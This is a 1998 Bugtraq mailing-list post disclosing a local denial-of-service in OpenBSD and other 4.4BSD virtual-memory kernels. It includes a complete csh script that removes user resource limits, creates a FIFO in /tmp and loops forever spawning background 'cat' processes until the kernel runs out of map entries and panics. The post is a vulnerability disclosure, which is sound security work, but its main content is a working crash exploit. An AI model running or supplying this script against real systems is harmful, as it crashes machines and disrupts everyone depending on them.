OpenBSD mkfifo DOS attack

Date: Sun, 25 Jan 1998 15:54:25 -0800
From: Jason Downs <downsj@DOWNSJ.COM>
To: BUGTRAQ@NETSPACE.ORG
Subject: Simple OpenBSD crash script

Here is a rather simple method of crashing most OpenBSD systems (and, I
assume, NetBSD or anything else running 4.4BSD vm without this problem fixed).

Most, if not all, kernels have process limits high enough for a normal
user to run the kernel out of non-pageable map entries.  The easiest way
that I have found to do this is with the enclosed script.

If the per-user process/descriptor limits are high enough, running this script
will result in a kernel panic.

#!/bin/csh
set path = ( /usr/bin /usr/sbin /bin /sbin )

unlimit
cd /tmp
if ( -e fifo ) then
    rm fifo
endif
mkfifo fifo
while ( 1 )
    cat fifo >& /dev/null &
end

--
Jason Downs
downsj@downsj.com